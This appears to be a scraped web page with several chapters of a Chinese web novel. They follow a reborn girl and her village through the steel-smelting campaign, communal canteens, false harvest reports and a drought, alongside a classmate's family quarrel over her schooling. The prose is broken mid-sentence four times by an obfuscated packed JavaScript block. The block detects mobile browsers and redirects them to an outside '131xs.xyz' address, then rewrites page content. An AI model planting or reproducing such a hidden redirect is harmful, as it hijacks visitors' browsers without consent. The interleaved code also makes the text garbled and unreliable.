l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646878|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我供你读书还有错了？”高母怒气冲天，抬手就想扇高家娣几个巴掌。 郑老师见情况不好，慌忙之中拦住了她。 “爹，你也是这么想的吗？”高家娣把视线转向那个一直沉默不语的男人。 高父终于抬头：“家娣……你也别……”怨恨你娘。 话没说完，就被高家娣堵在了嘴里：“爹，我们家是真的没钱供我上学吗？那为什么娘每个月回娘家都可以带一篮子鸡蛋回去？为什么舅舅不务正业，他家孩子还一直有新衣服穿，我跟弟弟，身上的衣服永远都是破了补，破了补……” 高家娣的控诉字字泣血。 高父注视着自己女儿，一身蓝黑色的薄棉袄，单薄的粗麻布裤子，手腕脚腕都露了好大一截在外面，衣服上也是大补丁摞着小补丁，抹眼泪的手上满是红肿的冻疮。 高父以前从没有注意过，这才刚入冬，他闺女的手就已经成这样了。 再想想他小舅子家的那两个娃，一个个养的白白胖胖的。 自家那个儿子呢，比闺女好点，但也没好到哪里去，身上的衣服也没一件合身的。 所以，当真是他做错了吗？ 高父颓唐无力的垂下头。 高母继续怒骂道：“你个黑心肝的，我就不该让你上学，现在连你舅舅也敢骂了？你舅舅人家过的好，是人家有本事，你上不了学，是你爹没本事，赚不到钱，你爹要是个工人，那谁会……” “够了……”高父从喉咙中发出一声怒吼。 高母被吓的楞了一下，反应过来立马指着高父鼻子骂：“你想干嘛？啊？我给你生儿子，生闺女，你现在敢骂我？你长胆子了啊？” “我闺女不退学，她的学费我出。”高父想勇敢一次。 高母：“好哇，你们父女俩成一条心的了，那我走！” 说着她怒气冲冲的踹开办公室的门，撞开高父自己走了。 家里的钱都在她那里，她倒要看看高父下学期拿什么给那个小蹄子交学费。 “爹”高家娣怔愣着，她没想到，她爹竟然会为了她反抗她娘。 “你好好读书，学费爹会想办法的。”高父此刻的感官颇为复杂。 头一回反抗媳妇，好像并没有感到什么不好，反而，心里那股气顺了。 “叔，你早该这样了，家娣是你亲生的，以后她出息了，会给你养老，你拿家里钱给别人，不给自己闺女，人家等你老了会养你吗？”李红雪反正是没见过侄子养姑父的。 “家娣长大后，一定会照顾弟弟的，但是你侄子就不一定照顾你儿子了，隔了一层关系，哪里有亲姐弟亲啊？”钟莹莹也跟着附和。 高父听完恨不得钻到地下去，几个孩子都比他明白事理。 “家里，这两块钱，你拿着，期末考试要好好看。爹先回家了。”把自己的私房钱从鞋子里扣出来，塞到高家娣手里，高父就匆匆走了。 高家娣把钱塞到口袋里，看着这一群可爱的小伙伴深深鞠了一躬：“谢谢你们！” 谢谢你们给了我勇气，让我反抗那不公平的命运。 “谢什么谢啊，大家都是同学。”几个小女生七嘴八舌道。 郑老师从背后阴测测道：“上课铃响了，你们都没听到吗？” “哎呀，老师，对不起，那我们上课去了。”说完，李红雪拽着小伙伴就想走。 拽到钟莹莹那，被一句“疼~”，给生生止住了脚步。 钟莹莹刚摔那会儿就觉得不好，因为注意力一直在高家娣身上，就没想那么多，这会儿要走了，才发现，她的脚好像骨折了。 49. 第 49 章 白大褂给钟莹莹的骨头对正，准备好合适宽度和长度的石膏绷带，经过一系列繁杂的过程后，他擦了擦额角的汗：“好了，没事了，回家注意不要碰到这只脚就行，感觉到不舒服就来复查，没事的话，过完年再来医院把石膏拆了就行。” “谢谢医生，您看还需要开什么药不？”陈显英关切的问道。 白大褂沉吟片刻：“已经在医院挂了两天水了，应该不用拿什么药了，你要是不放心，我给你开一点阿司匹林，止痛的，孩子若是腿痛，就给她吃一点。” “不过最好还说少吃，止痛药不利于伤口愈合，实在痛的受不了了再吃。” 陈显英点点头：“那医生，您给我们开一点吧。” 现在路还行，雪下得小，他们还能走。 等到再过一段时间，下大雪会直接封路的，他们别说来县里了，就是镇上也不方便。 天知道，学校老师骑着自行车来家里通知她说，她家孩子在医院呢，她心里有多紧张。 这孩子，也不知道咋回事，咋就把腿给摔断了，这下子学都没法上了。 拿了药，缴完费，给钟莹莹搀扶到牛车上躺好。 牛车上，陈显英垫了厚厚的被子和枕头，外面下着雪，她又在上面盖了一层蓑衣。 钟莹莹躺上去，陈显英把蓑衣重新盖回被子上，以免雪落到被子上，打湿被子。 学校宿舍还有东西要拿，所以钟伟先驾着牛车直接去了县中学门口停着。 “大娘，莹莹没事吧？”宿舍里的几个女孩子这几天都很自责。 觉得要不是她们压着钟莹莹了，她也不会骨折。 “没啥大事，医生给打了石膏，很快就好了。”陈显英只当是孩子玩闹时钟莹莹不小心伤到了，并没有怪罪几个孩子的意思。 “那她啥时候能来上学啊？”高家娣十分愧疚。 若不是她娘来学校闹事，也不会发生这样的事情了。 高家娣深觉自己才是罪魁祸首。 “等拆了石膏，下学期开学就回来了。” “你是家娣吧？”陈显英来宿舍之前，钟莹莹给她说了，宿舍有个方脸个子最高的女生，叫高家娣，托她给带句话。 “我是。” “莹莹让我给你说，一定要好好学习啊，等她回来，还要跟你们一起中考上中专呢！” 陈显英边说，手上边利索的收拾钟莹莹床上的东西。 “我会的。”高家娣暗自下决心，她一定会好好学习，考上中专，出人头地的。 谁来让她退学都不行，没钱她就去给人磕头，哪怕是讨饭也要把学费讨来。 “大娘，我们来帮你吧，这边这个水杯也是莹莹的。”李红雪跟着帮忙一起归拢物品。 “还有这些书。”祁绮也上前来帮忙。 最后，整个宿舍的女生一起帮陈显英收拾起了东西。 陈显英临走前，她们还在一起凑了很多平常舍不得吃攒下来的零嘴，装了一个小布兜里，让她带着一块交给钟莹莹。高家娣悄悄的在布兜里塞了两毛钱，钱用作业纸包好了放进去的，不是她爹之前给她的，是她去年考试的时候，学校发的奖学金，她一直藏着，没被她娘发现。 钟莹莹爱干净，她爹给的钱，是从臭袜子里掏出来的，她怕钟莹莹会嫌弃。 陈显英乐呵的冲着钟莹莹笑：“你这几个同学人还挺好的，还给你拿了吃的。” “那是，我们宿舍可和谐了，班上的女生人都很好。”钟莹莹很自豪。 自打那个搅屎棍走了后，班上的女生一个比一个好学，大家关系也很融洽。 陈显英敏锐的察觉出钟莹莹话语中的漏洞：“女生人好，男生嘞？” 她家闺女该不会在学校和男生闹什么矛盾了吧？本来就比人家年纪小，这小胳膊小腿的，还不够那些小子一拳头锤的吧？ 她的脚伤是不是也和那些男生有关？陈显英的思维不断发散，整个人开始阴谋论。 钟伟先也有些怀疑，几个女生闹着玩，脚能摔成这样？ “男生原先有些烦人，现在好很多啦，之前去食堂打饭的时候，还让过我们呢！”钟莹莹不知道老父母的心思，躺在被子里笑容璀璨，不用上学，这个骨折也没那么难受了。 “有一个有点膈应人，但是现在他在班里都不敢说话了。”钟莹莹指的是刘兵，自打之前考试诬陷一事，男生们也不愿意和他玩了，他在班里彻底老实了。 “那就好。”陈显英放下心来，没被欺负就行。 钟伟先赶着牛车，一家三口一块去了供销社。 陈显英要买点东西回去，孩子身上有伤，得好好补补。 钱是自家的，票是宋茹寄过来的。 供销社也没啥好东西，陈显英让店员给称了二斤鸡蛋糕，又拿了一包奶糖。 要不是肉铺这会儿不开门，她还想买点猪肉和大骨头，回家炖汤给闺女喝，吃啥补啥，骨头断了就得喝骨头汤。 买不到也没关系，离过年也不远了，村里也该杀猪了。 到时候多跟村里人换点，留着给她闺女炖汤喝。 钟莹莹这伤了脚回到钟家岗，就像老鼠进了米缸一样快乐。 屋外寒风呼啸，屋里她的被窝暖烘烘的，她娘给她灌了两个玻璃瓶的热水塞被窝里。 玻璃瓶还是在医院的时候问医生要的，这个东西可是抢手货，橡胶塞一塞上，不漏水，这个时候都喜欢用这个来暖被窝。 “姑姑，你吃肉干不？”钟丽丽背着小手从外面溜达进来，手心里放着一块指头大的肉干。 这是她爹战友寄过来的，数量不多，她平常都舍不得拿出来分给别人吃。 黄家的房子在下雪前已经建好了，晾了几天，黄有德就带着钟明芳搬了进去。 钟丽丽现在和钟新澄在一个学校上学，钟莹莹不在的时候，他们关系还成，钟莹莹一回来，俩小家伙就开始争宠了。 “姑姑，你吃奶糖不。”钟新澄跟在她后面，从兜里也掏出一块被体温捂化了，又被冷空气重新塑形的歪七扭八的奶糖。 这真是有些甜蜜又埋汰的烦恼，钟莹莹扶额：“我啥也不吃，你俩自己吃吧！” 她俩人的东西都没接，这下不会再吵架或者打架了。 在家休息是很欢乐，俩小家伙一闲下来，就有断不完的案。 她突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650125|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些怀念在学校的日子了。 这次期末考没能参加，学校那笔奖学金也捞不着了，有点可惜。 钟莹莹又想到宿舍其他几个伙伴，除了祁绮，其他四个家境都不多好，她们现在在班级里，基本上每次考试都是前十名以内的。 或许，这个钱，她们拿了，会比自己拿了作用更大。 毕竟自己真没啥花钱的地方，学费生活费，陈显英女士都全包了，平常买个小零嘴啊，擦脸霜啊，也用不着自己花钱，她姐钟明芳还有她嫂子钟明月，顺手都给买了。 零嘴宋茹寄的比较多，小县城地方小，没啥好吃的，还是海市好吃的东西多。 钟莹莹突然有点想吃肥肠了，等下和她娘商量一下，杀猪的时候，让村长把猪下水留一部分给她家。 这个破脚，干啥都不方便，上个厕所都得让人搀着。 钟莹莹在家苟着，还没到过年，就得到一个消息，上面通知各家各户把自家的铁制品上交，要炼钢铁了。 钟莹莹不敢置信，按照前世的进度，这件事情，起码得到两年后呢，咋还提前了呢？ 好在这一次，没有强制说要交多少，只要每家都交了就行。 钟伟先把自家的烂锄头交上去了。 各家各户上交的基本都是损坏的农具上取下来的废铁。 “爹，你去废品站再买些废铁回来吧，这次让交，下次万一还让交呢？咱家可没有那么多烂锄头。”钟莹莹提醒道。 后面这件事情，在有些地方会疯狂到连各家各户锁门的锁头都交上去了。 提前备点东西，有备无患。 钟伟先思索了一下：“得去看看有没有了才行。”平常这玩意好找，现在让上交，家里没有废品的，可不得想到废品站去买。 他不能等了，得现在就去废品站看看。 能买多买点，搁废品站买东西又不要票，给钱就行。 钟伟先去买东西的时候，村上来了一伙穿制服的人，哪也没去，直奔邓荣住处。 这次邓荣再没有借口留下了，国家征召他义不容辞。 临走之前，他见了周岱和钟莹莹，钟新澄也去了，邓荣的书一部分送给了周岱，一部分给了钟莹莹，末了到钟新澄的时候，他停了一下，接着把自己别再上衣口袋的钢笔取了下来，递给钟新澄：“木木啊，要好好学习，以后考上大学，才能更好的学习自己感兴趣的东西” 他年纪大了，看人还是有点准头的，经常来找他的三个孩子，周岱是因为大学专业学的机械，钟莹莹看似聪明，实则对机械没有那么深的热爱，只有钟新澄，这个孩子赤诚的很，一门心思放在搞发明创造上面。 就是孩子小了点，没文化，不打好基础，将来要吃大亏的。 “邓老师，我知道了。”钟新澄难得安静。 邓荣挥挥衣袖：“都进屋吧，外面冷，别冻感冒了！” 钟新澄对邓荣最后的记忆，就是他矮小却又莫名显得高大的背影。 邓荣走了，钟家岗的生活任然在继续。 炼钢铁提前了，那大锅饭和浮夸风会不会也会提前？ 是时候让家里人提前做好准备了。 50. 第 50 章 钟伟先去废品回收站的事没瞒着村里人，学人精再次出动，一个二个的，镇上买空了，就去县里买。 钟家岗的村民过了个好年，年前只交了一次铁制品。 钟莹莹的脚等到过完年，雪化了才去县里拆了石膏。 石膏一拆，小脚丫子那味儿，滂臭。 简直不忍直视。 因为受伤的这只脚好几个月没使力，两只腿都变得一条粗一条细的，钟莹莹长期单脚起跳，已经有些不会正常走路了。 春天钟家岗的物产很丰富，野菜采了生长的特别快，采下来弄干净就是咸菜厂免费的生产材料。 用野菜腌制的产品，比种植的更加畅销一些，供销社那边更倾向于收购‘野味’足一些的产品。 钟莹莹还在一个被砍倒的白杨树遗留的树墩子蛀成的树洞里，发现了一大丛平菇。 他们这的人是不吃野生蘑菇的，平常遇到了，也会觉得有毒，直接给踩烂。 竹林里就有很多长得像蛇蛋一样的白蘑菇，小孩子碰见了都会一脚踩爆，有时踩的是蘑菇，有时踩的真是蛇蛋。 “莹莹，这玩意你确定能吃？”钟绍华很是怀疑，别吃了一口直接下去见爷爷奶奶了吧。 “能吃的，城里人吃这个，炒着吃和香菇一样好吃。”周茹之前不知道从哪里弄了一包干香菇，给钟家寄了过来，说是炖肉吃。 过年的时候他们炖着吃了，还真香。 “那其他蘑菇能吃不？”钟绍华有些跃跃欲试。 钟莹莹赶紧打消他的念头：“我们这只有平菇能吃，其他都是有毒的。” “哦~”钟绍华很是失望。 钟家晚上用大蒜清炒了平菇，确实很美味，吃起来又点类似于肉的口感，钟绍华更是想要再找到一些平菇了。 钟莹莹告诉他，只要那个树洞一直在，不要把平菇挖绝种了，时不时给周围洒点水，保持湿润，它们还会再长出来的。 钟绍华听了，直接用竹竿给那个烂了一半的树墩子围起来了。 还告诫村里的小孩子，谁都不许过去搞破坏。 离钟莹莹开学还有几天，上面的通知又下来了。 “唉，你说这叫个什么事啊？”上面通知各家各户把家里的菜刀啊铁锅啊啥的都给交上去炼铁。 “村长，没了锅，我们咋吃饭啊？”村民们人心惶惶。 “听说是要在村里开食堂，把粮食都交到食堂去。”有人消息比较灵通。 大多数村民都很不看好这一举动。 各家情况都不一样，谁愿意把粮食全都交上去，然后一起分着吃啊？ 那家里大人少孩子多的，可不就吃亏了。 “这是上面的要求，我也没办法。”铁制品是要交到镇上去，镇里再交到县里去，然后在县里搞炼钢炉，炼钢。 乱七八糟的东西全都丢进去，真的能炼好钢吗？村长有些忧心忡忡。 “村长，我们交的东西是炼钢的，那是不是坏了也没关系？”有人开始耍心眼子了。 上有政策，下有对策。 村长瞥了他一眼道：“理论上是这样的。” 村里人天天跟着知青学习，脑子都变好使了。 晒谷场上像是炸开了锅一样：“我家之前买了烂锅片，我可以交那个。” “我家也买了，不过不是锅片，是铁皮，应该也没问题。” 大家伙一对账，发现每个人都有替代品可以交。 纷纷抿嘴笑了。 “我提醒一下大家啊，交完炼钢的铁，大家还需要集中到食堂来吃饭，不该用的东西，不要出现到台面上来。”钟伟先看着兴奋的大家伙，不由得站到台面上来提醒了一嘴。 老楚大声回话：“我们知道的。” “还是伟先神通广大啊，要不是他我也不会想到要去买这些东西，你呢？” “我也是学着伟先买的。” 有人笑骂他们一句‘学人精’，他们不以为耻，反以为荣。 学人精怎么了，学人精能过上好日子，他们以后都要当学人精。 “爹，粮食我们交一半留一半。”钟莹莹扯了扯钟伟先的袖子，害怕他爹化身老实人，把家里的粮全都交了。 钟伟先笑着揉了揉钟莹莹的脑袋：“放心吧，你爹老江湖了，不会让你饿肚子的。” 村里人灵活变通，上面说的是把粮食全部上交，然后大家一起吃，到钟家岗变成了，大家把粮食存放一部分在食堂，每天按量按需提取，两个灶，放自家碗里分开蒸饭。 变相版的各吃各家饭。 味道上肯定比不上自家小灶做的，不过却挺节约时间的。 村妇女儿童轮流帮忙烧火做饭，节约出来的时间，劳动力们挖河沟去了。 一冬的时间过去，原先修好的水渠，又落了枯枝败叶和堆积的淤泥，需要人工清理，才能正常投入使用。 原先挖的水渠比较浅，没那么深，这次通水渠，村民们又给水渠加深的一下，几乎就变成比较窄的水沟了。 “不要往水边去哦！”钟莹莹点了点钟新澄的脑瓜子，丽丽是个乖宝宝，只有这孩子最是跳皮，啥东西都想一探究竟。 水渠挖深了，水满时，像他这般大的孩子，真不好爬上来。 钟家岗小沟小塘的多，夏天干完活，大人还会带着孩子下鱼塘洗澡。 水里长大的孩子，没有不会游泳的。 但老话说了，淹死的都是会游泳的。 钟家岗的水塘里，没有大人带着，是严禁孩子们下水的。 一旦被抓到，就等着回家吃竹笋炒肉吧。 钟莹莹跟着小伙伴一块帮大人干活，地头边生了很多艾草，还是幼苗苗，挖回家，砸碎可以混着糯米粉做青团吃。 吃不完的，还能晒干留着泡茶喝，味道清香，还能助消化。 乡下的田间地头都是好东西，村里人一时半刻也舍不得浪费。 钟家岗的人很克制。 其他村就不一样了，因着上面的通知，都可劲儿胡吃海塞，想着上面有人兜底。 春耕时，他们也不出力，反正都是吃大锅饭，想吃多少吃多少，干不干活也没区别。 一个个在地里磨洋工。 野菜啥的以前采了可以顶替粮食充饥，现在大米饭吃到饱，谁还去搞那玩意？ 城里还好，依旧是凭借票证购买，出不了什么大乱子。 “莹莹，现在我们村可好了，回去随便吃，想吃多少吃多少，我都不想开学了。”李红雪摸了摸自己的小脸，这一春天的胡吃海喝，她都长肉了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657873|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “能多吃就多吃点吧！”别村的情况和钟家岗不一样，冒然提醒，有可能还会被人举报，没好果子吃。 高家娣也觉得十分快乐，这个假期，是她活到现在，度过的最愉快的一段时光。 没有吃不饱饿肚子，没人打骂她，在家她只要干完活，就可以安静的看书。 因为她爹不同意把她嫁了换彩礼。 她舅舅那边又急着用钱，不然就要被人当成流氓抓走。 她娘很着急，一气之下，学习新思想，和她爹离婚，改嫁给她舅舅那边的癞疤头，竟是把她自己给卖了换彩礼也要救那个不成器的弟弟。 高父被折磨的也很无奈了，钱他一分不要，高母手里也没钱了，高家的钱，也早都被她全花在自己弟弟身上了。 高母要走，高父管不上丢脸不丢脸，立马收拾东西让她滚蛋了。 “我们家的锅都被收走了呢！”敞开肚皮吃东西很美好，吃饭的家伙没了让人有些恼火。 “我爹偷偷藏了些粮食，你们不要往外说。”吴月小声道。 宿舍几个女生对视一眼：“我们家也是。” 少掏多吃，是大家的共识。 “回去的时候，你们记得多采点野菜晒了存起来，冬天的时候供销社会收呢！”钟莹莹没胡说八道，冬天没菜的时候，确实有人收这玩意。 “好。”几个小女生也想攒点零花钱。 私人买卖不允许，农民把农产品出给供销社是可以的，数量不能太多，太多就有投机倒把的嫌疑。 时间一天天的过去，天气也逐渐变得炎热起来。 钟莹莹换上了短袖。 按照惯例，这个时间差不多进入梅雨季了。 可他们这至今还没下过一场雨，地里的小麦都有点蔫巴了。 钟家岗河沟多，从水渠放水，暂且供的上地里作物的生长。 黄家岗那边有点不太妙了，颍河水位严重下降，他们又没得钟家岗的水渠，只得人工担水，效率低下就不说了，那么热的天，人累中暑好些个。 有年纪大的，没撑过去，直接走了。 还好种的是小麦，已经是成熟期，土壤过于干旱，也不会颗粒无收，就是会减产而已。 只要能有收获，就不怕没东西吃。 钟莹莹放假回去了一趟：“爹，我们学校现在打饭都不给那么多了，听同学说，粮站买粮都不好买了。” 钟伟先面色一沉，陈显英脸色也很难看：“你听谁说的？” “宿舍里的同学，她家城里的，好些亲戚在政府单位里面上班呢！”公职人员的话听起来比较有说服力。 钟绍华反应很快：“换粮应该是不成了，今年可以让村里多种些土豆。”大家都在大吃大喝的，哪里能拿得出来粮食找人换。 “天那么干，地里的粮食怕不是要减产。”钟明月读过书，此刻也忧心忡忡，知道这种状况会造成什么——饥荒。 农家人挣得少，靠天吃饭，平常也就留有下一季的粮食，这次敞开吃，还能剩下什么？ 收不上来粮，等上面分配？ 要是大家都收不上来呢？钟伟先想到的问题的严重性。 钟莹莹提笔给宋茹寄了一封信。 比钟伟先预料到的事情还要更坏的在后面呢。 51. 第 51 章 “李家沟，亩产千斤！” “张家村，小麦亩产500斤！” …… 一条比一条更炸裂的消息刺激着人们的耳膜。 “真的假的啊？” “种了那么多年地，还没见过产量这么高的呢！” “是啊，是啊，他们用的麦种和我们不一样吗？”可麦种不都是县里领的吗？浇地的水也都是颍河分出来的，怎么会差距这么多？ “伟先，你怎么看？”钟家岗的粮食产量还没往上报，但村长预估撑死了一亩地也就收了一百斤出头，怎么着也搞不了别村的数量啊！ 之前他看了其他村的麦子，也不像是能收这么多的。那地里的麦穗还不如钟家岗的饱满呢！ “能怎么看，收多少报多少！” “跟他们一样虚报，到时候你拿什么来填这个窟窿？村里粮食一点不留？到时候大家喝西北风？”钟伟先斜睨了村长一眼。 村长被钟伟先的话吓得冷汗都出来了，原先他真有打算，跟着其他村一样，报的高高的上去。 比起面子，还是不饿肚子重要，面子算什么东西？ 钟家岗报了一百零五斤一亩，这个数字在以往也算是很正常的，在今年就显得有些鹤立鸡群，标新立异了。 没多久，吴家村也上报了，他们比钟家岗还少点，只有一百斤。 吴村长因着之前的事情，觉得钟家岗是运道好的，所以干啥事都要参考一下钟家岗的做法。 比起外面的浮夸风，他也觉得脚踏实地更重要。 那麦子缺水，又热又干，提前成熟，还能增产？骗鬼呢吧？ 荣耀只是一时的，能让村民填饱肚子，才是一辈子的。 可惜的是，他没见着钟家岗大锅饭的场景，私下打听，对方嘴巴也严的很，不然也能学一学。 他们村啊，开了大锅饭后，虽然他有意控制着量，但是大家吃的还是要比平时多太多了，粮仓粮食数量的不断减少，让吴村长很是忧心。 都五月了，整个县没有下一滴雨。 颍河部分地势较高的位置，河床都露出来了。 各村的小河沟里的水也只剩下浅浅一个池底。 钟家岗鱼塘里的鱼被迫提前收割，大半卖到供销社里，给村里换了粮食回来，小部分村民自家分了吃了。 “唉，眼见着要育苗了，地里没水可怎么办！”下一季的水稻要提前至少一个月育苗，因着没水，他们已经推迟时间了，马上都快六月了，要插秧了，还是没有雨，河沟水也干的更厉害了，水井打水都比以前费力。 “老钟老吴啊，你们这样我的工作很难办啊！”镇长开会的时候特意点了钟家岗和吴家村。 镇子下辖的七八个村子，就这俩是刺头，其他都是五百，一千斤，就这俩老老实实的报了一百斤。 钟强先挠了挠头：“镇长，我们也没办法啊，那地里就长出这么多粮食，我们也不能骗人吧！” 钟强先以前的人设就是人憨不聪明，听不懂人暗示，还闹出过笑话来。 镇长气急败坏，也不暗示了：“地里产多少是多少，报多少不还是你们自己说了算吗？！” “可我们没有那么多啊！”钟强先装作听不懂。 吴村长害怕战火波及自己，忙跟着解释道：“镇长啊，我们确实地里没那么多粮，小麦旱了一夏天，咋可能收那么多？” “行行行，就你们俩倔是吧？产量报这么低，今年的先进都不想要了？” 钟强先和吴村长低头不语，比起拿先进，还是不想饿肚子。 镇长见状更气愤了：“好啊你们两个，商量好的是吧？嗯？都哑巴了？” “怎么劝都不听，那回去写检讨去吧，怎么别的村子都能超额完成生产需求，就你们不行！！！”镇长劈头盖脸甩过来一张报纸。 报纸上最显眼的照片上竟是十来个人举起一头大肥猪，农民抱着一捆麦穗有巴掌大的小麦……每一个版面都那么的博人眼球。 这种行为不是单单在他们县里存在的，而是全国上下都在搞这种东西。 吴村长有些动摇，钟家岗的运气再好，能比得上国家？ 钟强先只是默默的捡起飘到地上的报纸，看了一眼，然后折起报纸，塞进了裤兜里，美滋滋道：“谢谢镇长。” 这报纸他要自己买还挺贵，这不花钱就能得一份新的，可不是赚到了。 “咳咳……都走，快给我走！”镇长端起搪瓷缸正要喝水，被他的动作给气的呛了好大一口水。 钟强先还想说话，吴村长看不过眼，直接拽着他胳膊给他拽走了。 “你拽我胳膊干嘛，我话还没说完呢！” “镇长生气了，你没看出来？”吴村长有些怀疑人生，就这样的脑子，怎么当上村长的？自己跟着钟家岗的人干，真的选择对了吗？ “没看出来！” 吴村长“……” 他有些怀疑钟强先是在装疯卖傻。 “你们村的秧苗育苗了吗？”吴村长装作不经意间提起。 钟强先像看傻子一样看他：“都没水，拿什么种？” 傻子用看傻子的眼神看自己，吴村长被钟强先的眼神刺激到了：“不育苗六月种啥子？” “你有水插秧吗？” 吴村长不说话了。 钟强先说的是事实，育苗用的地少，人从水井里担水勉强还供的上，插秧需要的水，可不是一口两口井能负担得起的。 他暗叹一声，希望老天爷能够早点下雨吧！ 钟强先嘴上说的轻松，实则心里也很犯难，当村长太难了，啥都要管。 说是不育苗，钟家岗最后还是挑了两块地撒了种子，人工灌了水。 有雨的话，到时候多少能种点，没雨的话，也亏不了多少。 钟家岗种植的更多的是红薯，耐旱性强，产量大，尽管干旱减产，也能给他们提供一定的食物来源。 红薯全身都是宝，茎叶果实都能吃。 县里以前发过高粱种，因为不好吃，全是壳，很少有人种。 钟强先不知道从哪里把这玩意也给翻出来了。 不管啥玩意，只要耐旱的，通通种上，广撒网，多捞鱼，能熬过去就行。 因着报纸上的盛况，城里也是随处可见欢呼声，到处一片虚假繁荣。 接到钟莹莹信件的宋茹很快行动起来。 她跟王书钰婚后住在宋家比较多，王书钰厂里忙的时候就睡宿舍，放假也来宋家住。 两室一厅的小房子，住下老父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663891|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲和小夫妻俩，刚刚好。 宋家三职工家庭，开火比较少，一般都是吃食堂。 报纸上的东西宋茹也看了，只是没想太深入，农村的局势已经那么恶劣了吗？ 想到钟莹莹信里写的‘大家每天都能吃到撑，就是粮仓里的粮食快见底了’ 干多少活，都能吃一样的饭，‘村里人干活也很积极’打了引号的积极。 ‘村里的粮食产量降低，没有报纸上的高，村长很是愧疚’ 实际产量降低，登记产量却前所未有的高，长此以往会带来什么后果？ 宋茹不敢细想。 她跟王书钰还想着这两年要个孩子，现在看来，还是再等等吧。 “火急火燎的叫我回来干嘛？”宋冬宇有些无可奈何。 他闺女一向是个风风火火的性子，想到什么就做什么，这次又不知道是要干嘛！ “爹，你看。”宋茹把钟莹莹寄来的信展开放到宋冬宇面前。 还没看信的内容，宋冬宇就了然，原来是钟家人寄信来了，怪不得宋茹这么激动。 他闺女见钟家人可比见他激动多了。 宋冬宇漫不经心的拿起信纸，没看几眼，就瞪大眼睛，心里满是慌张。 一直在城里生活，他都快要忘记他也是农村出身的了。 不事生产多年，这些东西和他没甚干系。报纸上的那些东西，他平常看过了也就一笑了之，当成个笑话来看。 联系最近收音机里报道的三省严重干旱，还有海市最近燥热难耐的天气。 宋冬宇无法再保持冷静。 他深呼一口气：“小茹，买些零嘴儿给莹莹寄过去，我那还有两罐麦乳精也给拿过去，书钰单位不是发了……” 宋冬宇絮絮叨叨念了一大堆，都是让宋茹拿了寄给钟家人的。 信上那些事情，虽然写的很日记化，表面看似只是在记录日常生活，宋冬宇却明白其中深意，这些东西，不是至亲，不会有人愿意提醒旁人的。 闺女被伤害后，他们和钟家人建立了联系，从一开始看，可能是钟家人占了便宜，那些个好东西不要钱似的寄到钟家。 现在看来，真正占便宜的是他们宋家。 单就宋茹一条命，把宋家全部家产送出去都不为过。 钟家也不是爱占便宜的，宋家送的东西，他们也会有回礼，宋冬宇没少吃来自钟家岗的土特产，有些吃不完的，还给单位同事分了不少。 宋茹扒拉扒拉家里，收拾了两个大包裹寄出去，里面还夹了很多粮票，都是三口人平常吃不完攒下来的。 村里缺这些，他们家可不缺。 三个人挣工资，俩人除了吃饭基本一毛不拔，只有宋茹一个开销大点，她自己的工资基本能全覆盖掉。 一月一月攒下来，存折上的数字不断上涨。 东西寄走后，宋冬宇就带着宋茹在家里扒拉，规划哪里能藏东西。 钟莹莹在校不知道自己一封信过去，还能带来这么多的好东西。 此刻她正在惆怅，如何提醒几个舍友也再攒点东西。 之前交粮时耍的一点小心思，不一定能支撑后面的时光。 毕竟三年呢！这三年不知道会死多少人，为什么灾难要提前啊？？？ 52. 第 52 章 天气越来越热，一直没下一滴雨。 钟家岗人工挑水种的秧苗已经长成，绿油油一片好不欢喜。 众人脸上却没几分喜色。 光有秧苗没有水，还是种不成。 河道干涸的更厉害了，颍河几乎能看见底了，这在近几十年来是从未发生过的事情。水井上打水的绳子长度是加了又加。 “食堂真是越来越抠门了！”收的粮票没见少，给的份量却弄虚作假。 原先一份饭里是实实在在的干饭，现在水越添越多，都快成粥了。 祁绮皱眉：“还难吃了嘞~” 也不知道咋做的菜，没有油星就算了，还泛着一股奇怪的苦味。 “你要不要吃我这个？”吴月把自己手里有些干巴的饼子递过去。 这是村里食堂做的，村路吃粮宽泛了，他们这些搁外面上学的，也能在食堂领干粮带到学校吃。 虽然有点干噎，边吃边喝水还是很抵饱的。 学校里条件稍微好点的，直接拿粮票吃食堂，条件不好的，就自己带米面，放饭盒里加水，在食堂的大蒸笼里蒸了就着咸菜吃。 吴月大多数时间是吃自带的，偶尔奖励自己开一次小灶才会吃食堂。 “你自己吃吧！”都不好吃，换哪个都一样。等周六放假回家再吃点好的叭。 食堂的饭并没有随着同学们的抱怨而变好，反而坏得愈演愈烈。 